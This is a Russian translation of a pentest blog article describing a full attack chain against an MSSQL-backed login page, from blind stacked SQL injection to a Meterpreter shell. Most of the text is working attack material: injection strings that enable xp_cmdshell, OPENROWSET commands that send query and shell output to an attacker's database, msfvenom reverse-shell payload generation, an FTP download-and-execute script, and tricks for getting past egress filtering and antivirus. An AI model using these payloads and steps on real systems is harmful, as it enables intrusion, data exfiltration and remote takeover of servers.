19.02.2014

Слепая SQLi -> SQLi -> выполнение команды -> Meterpreter - Основано на реальных событиях.

image

Применять слепую SQL инъекцию на MSSQL я пробовал всего лишь однажды. В последнем тесте я потратил много времени на то, чтобы вручную выполнить SQLi в Meterpreter, и я хотел бы поделиться результатом с вами. В статье описан один трюк, который я не видел раньше.

Автор: Stephen Breen

Думаю, статья получится довольно объемной. 

Применять слепую SQL инъекцию на MSSQL я пробовал всего лишь однажды. В последнем тесте я потратил много времени на то, чтобы вручную выполнить SQLi в Meterpreter, и я хотел бы поделиться результатом с вами. В статье описан один трюк, который я не видел раньше. Что ж, начнем.

SQL инъекция проводилась на параметр UserName, далее приведу пример POST-запроса:

POST /login.aspx HTTP/1.1
Host: XXXXXXXXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXXXXXXXXX
Cookie: ASP.NET_SessionId=YYYYYYYYYYYYY
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1337
UserName=test&Password=test&SUBMIT1=Sign+In

Шаг 1. Найти параметр, подверженный инъекции, для стека запросов.

Сначала мы хотим удостовериться в возможности применения SQL инъекции и найти параметр, куда внедрять наш стек запросов. Стек запросов – несколько запросов, соединенных вместе и разделенных точкой с запятой. В качестве примера допустим, SQL запрос для данной функции будет выглядеть следующим образом:

query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";

В данном случае мы установим параметр UserName в значение "test'--", получится:

query = "SELECT * FROM Users WHERE userName = 'test'--AND password = 'testpassword'

Стоит отметить, что подсвеченная часть кода закомментирована. Что ж, иногда не все так просто, как будет показано в следующем примере. Допустим, что код, куда передаются параметры, выглядит следующим образом:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;

Тогда нам необходимо будет подставить в параметр UserName значение "test')--, получаем следующее:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')--' AND password ='"+password+"'") as tempTable;>

Чтобы определить, успешен ли наш запрос, мы должны сформировать стек запросов, результат выполнения которjuj будет заметен, отличным способом для этого будет создание задержки. Присвоим переменной UserName значение "test'); WAITFOR DELAY '000:00:20';--". Если все сделано правильно, то мы должны наблюдать 20-секундную задержку перед ответом, и можем двигаться дальше. Вам может понадобиться поставить больше скобок или кавычек, постарайтесь понять, как может выглядеть используемый запрос.

Шаг 2 – Наблюдать

SQL инъекция вслепую может быть довольно сложной в реализации. Следующая техника является довольно успешной и была позаимствована с сайта http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/ .

Она основывается на том, что пользователь БД имеет набор определенных прав. В нашел случае он либо должен иметь право на выполнение команды sp_configure, либо право изменять параметр «Ad Hoc Distributed Queries». Выполните следующие команды (в указанном порядке), чтобы разрешить «Ad Hoc Distributed Queries» (а также xp_cmbshell). Вам необходимо разместить данные команды в подсвеченной части параметра UserName, как показано далее:

UserName = "test');<SQL TO INJECT>;--"

exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries', 1
reconfigure
exec sp_configure xp_cmdshell, 1
reconfigure

Если все прошло хорошо, то теперь мы можем сделать так, чтобы целевая БД сохраняла результаты запросов в наш локальный экземпляр MSSQL.

Тестируем результат.

Очень важно на данном этапе, понять, выполнилась ли команда configure. Для этого я разработал простой и эффективный способ, который выручал меня много раз. Он включает в себя установку DNSCat (http://www.skullsecurity.org/wiki/index.php/Dnscat) на сервере. Вы должны быть в домене и иметь права на конфигурирование своей машины – на которой запущен DNSCat – в режиме авторизованного сервера имен для некоторого субдомена.

На вашем сервере выполните «./dnscat --listen»

Через SQL инъекцию выполните команду:

exec xp_cmdshell 'ping test123.dns.yourdomain.com'

UserName примет вид "test');exec xp_cmdshell 'ping test123.dns.yourdomain.com'' ;--".

Теперь в консоли dnscat вы должны видеть результаты DNS lookup для test123. Это отличный способ для тестирования выполнения команд, так как в большинстве случаев рекурсивный DNS lookup разрешен (даже когда существуют фильтры), а также ping/host является универсальной командой.

В данный момент вы смогли выполнить команду вслепую и можете перейти в шагу 5 или же продолжить данный этап следующим образом.

Настройка локальной БД.

Вы должны установить Microsoft SQL Server Express https://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

После установки вам необходимо разрешить базе данных принимать удаленные подключения с аутентификацией SQL Server’а. Это было непросто для меня, поэтому я выделю основные моменты:

  1. Установить SQL Server Express
  2. Подготовить базу с помощью следующих команд в SQL Server Management Studio
    1. CREATE DATABASE output_db;
    2. CREATE TABLE output_db..output ( result VARCHAR(MAX) );
  3. Настроить listener для возможности удаленного подключения. Для этого кликните правой кнопкой мыши на вашем listener’е в SQL Server Management Studio, выберите «Свойства». В разделе «Безопасность» вы должны разрешить аутентификацию Windows и SQL Server. В подключениях вы должны разрешить удаленные подключения.
  4. Создать пользователя БД. Для этого в Management Studio разверните дерево вашего listener’а и выберите «Безопасность -> Имена входа», клик правой кнопкой по пункту «Имена входа», выбираете пункт «Создать имя входа».
  5. Откройте Диспетчер конфигурации SQL Server через меню Пуск (Пуск -> SQL Server -> Средства настройки). В пункте «Сетевая конфигурация SQL Server» дважды щелкните на пункте «Протоколы для SQL Express», далее – на «TCP/IP». Внизу вкладки «IP адреса» есть секция «IP ALL». Установите значение TCP порта, равное 1433.
  6. Отключите межсетевой экран Windows и установите необходимый переадресацию портов на маршрутизаторе. Вам нужно пробросить tcp по 1433 порту.
  7. Перезапустите базу данных с помощью Management Studio.
  8. Выполните netstat –an, найдите listener на 1433 порту

Локальное тестирование

Есть вероятность, что к данному этапу вы что-нибудь упустили из виду, поэтому я рекомендую протестировать настройку ваших MSSQL и сети локально. Создайте таблицу output с одним столбцом типа text. Откройте новую вкладку для запроса в Management Studio и попробуйте выполнить следующую команду (замените выделенные параметры):

INSERT INTO OPENROWSET('SQLOLEDB','<Ваш внешний IP>';'имяПользователяSQLServer';'слабыйПароль',output_db.dbo.output) SELECT @@version

Если команда выполнится, то в вашей таблице «output» появится запись, содержащая версию SQL Server’а. Если записи не появится, то нужно разобраться, в чем ошибка и устранить ее.

Эксфильтрация данных

Теперь мы готовы к эксфильтрации данных. Просто используйте предыдущую команду снова, замените <SQL TO INJECT> на NSERT INTO OPENROWSET('SQLOLEDB','<Ваш внешний IP>';'ИмяПользователяБД';'СлабыйПароль',output_db.dbo.output) SELECT @@version

Пример:

UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB', '<Ваш внешний IP>';'ИмяПользователяБД';'СлабыйПароль',output_db.dbo.output) SELECT @@version;--"

Если в вашей таблице появилась запись, содержащая версию БД, вам повезло! Тогда вы можете выполнить любой запрос!

Шаг 3 – Выполнение команд.

Это интересная часть процесса, в которой мне пришлось несколько отойти от стандартных алгоритмов действий. Ранее с помощью sp_reconfigure мы разрешили выполнение команд, теперь пришло время выполнить некоторые команды и увидеть результат их выполнения. Будем использовать <SQL TO INJECT> в качестве входной точки для наших команд:

create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<Ваш внешний IP>'; 'ИмяПользователяБД';'СлабыйПароль',output_db.dbo.output) select * from #output where output is not null; drop table #output

Данный стек команд создает временную таблицу #output, записывает в нее результат выполнения нашей shell команды (dir), затем передает содержимое таблицы в локальную БД и, наконец, удаляет временную таблицу. Полноценное удаленное выполнение команд!

Шаг 4 – Meterpreter

Все самое интересное начинается, когда вы зальете на целевую машину свой Meterpreter shell. Существует несколько способов. Я выбрал FTP скрипт, хотя у меня есть еще несколько интересных идей. FTP позволяет легко загрузить наш файл на сервер, а затем использовать ранее описанный алгоритм, чтобы скачать и выполнить его. Как правило, я запускаю анонимный vsftp сервер и выполняю следующее через BackTrack:

Генерирую файл для взлома (файл загрузки):

./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<YOUR IP>LPORT=4444 -f exe > /srv/ftp/payload.exe

Запускаю обработчик meterpreter:

./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 E

Теперь мы можем использовать уязвимость исполнения команд для скачивания и запуска нашего файла загрузки. Необходимо запустить следующие команды на целевой машине:

Создание FTP скрипта:

echo open 192.168.14.81> ftp.txt
echo <USERNAME>>> ftp.txt
echo <PASSWORD>>> ftp.txt
echo bin>> ftp.txt
echo get payload.exe>> ftp.txt
echo bye>> ftp.txt

Выполнение скрипта и скачивание файла:

ftp -s:ftp.txt

Выполнение файла:

payload.exe

Шаг 5 – Прогрессивный способ доставки файла загрузки

Что ж, это не сработало. У нас получилось применить слепую SQL инъекцию (см. шаг 2 – Тестируем результат), но мы не смогли залить shell. На машине жертвы может осуществляться фильтрация исходящего трафика. Кто знает, может и антивирус способен на некоторую импровизацию. К счастью, у меня было припасено еще несколько способов взлома, о которых я вскользь упоминал. Можете посмотреть видео, ссылка на которое есть в начале статьи.

Используйте утилиту BackTrack «exe2bat.exe» для преобразования файла загрузки в пакетный файл. Я использую файл, который пробрасывает cmd shell через DNS запрос. Также я использую кастомную версию dnscat (http://www.skullsecurity.org/wiki/index.php/Dnscat) с небольшими изменениями кода, повышающими стабильность и жестко прописывающими IP адреса.

Вместо того чтобы использовать кастомную загрузку, вы можете использовать файл в VBScript формате, сгенерированный Meterpreter’ом. Это мой любимый метод, который я пробую применить в первую очередь. К счастью, у нас есть Metasploit Pro, позволяющий генерировать файлы динамически, что увеличивает шанс обхода антивируса. Также у Metasploit’а есть скрипт, преобразующий исполняемый файл в vbs (кажется, он называется exe2vbs.rb). После того, как вы получили vbs файл, вам необходимо загрузить его на целевую машину. Для того чтобы сделать это похожим на результат работы exe2bat, я создаю пакетный файл. В начале каждой строки vbs файла добавьте «echo ‘», а в конце – «' > notAPayload.vbs». Кроме того, вам, вероятно, придется редактировать сгенерированный Metasploit’ом vbs файл. Я считаю правильным жестко прописывать место создания исполняемого файла, тогда вы знаете его местоположение. Все эти действия нужно проделывать самостоятельно, поэтому, если у вас возникнут вопросы, можете обращаться ко мне по e-mail или просто посмотреть видео.

Независимо от того, используете ли вы exe2bat или же exe2vbs, создавая пакетный файл, следующий шаг будет одинаков. Для того чтобы восстановить файл загрузки в исполняемый формат, вам необходимо запустить ваш пакетный файл на целевой машине. Просто импортируйте его в BURP Intruder, установите поле target в значение параметра <SQL TO INJECT>, настройте BURP для работы в режиме единого потока (возможно, не помешает установить небольшую задержку) и позвольте ему сделать свое дело! Он должен доставить файл загрузки на машину жертвы с помощью уязвимости выполнения команд, все относительно просто. Теперь можно просто запустить файл.

или введите имя

CAPTCHA